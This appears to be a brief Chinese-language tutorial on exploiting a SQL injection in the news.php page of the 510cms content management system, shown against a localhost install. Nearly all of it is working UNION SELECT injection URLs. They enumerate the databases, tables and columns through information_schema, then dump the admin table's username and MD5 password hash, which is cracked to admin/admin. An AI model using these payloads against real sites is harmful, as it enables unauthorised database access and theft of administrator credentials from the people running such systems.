介绍：    实例：  开始爆库： http://127.0.0.1:800/510cms2/news.php?cid=2-1&listid=&newsid=233 union select 1,2,SCHEMA_NAME,4 from information_schema.SCHEMATA limit 0,1 – limit 1，1出现数据库 510cms 爆表： http://127.0.0.1:800/510cms2/news.php?cid=2-1&listid=&newsid=233 union select 1,2,TABLE_NAME,4 from information_schema.TABLES where TABLE_SCHEMA="510cms" – 爆出后台账号密码数据库表 510_admin 爆列： http://127.0.0.1:800/510cms2/news.php?cid=2-1&listid=&newsid=233 union select 1,2,COLUMN_NAME,4 from information_schema.COLUMNS where TABLE_NAME="510_admin" LIMIT 2,1 – name passwd 爆字段 http://127.0.0.1:800/510cms2/news.php?cid=2-1&listid=&newsid=233 union select 1,2,concat(name,0x3c,passwd),4 from 510_admin – admin<21232f297a57a5a743894a0e4a801fc3 admin/admin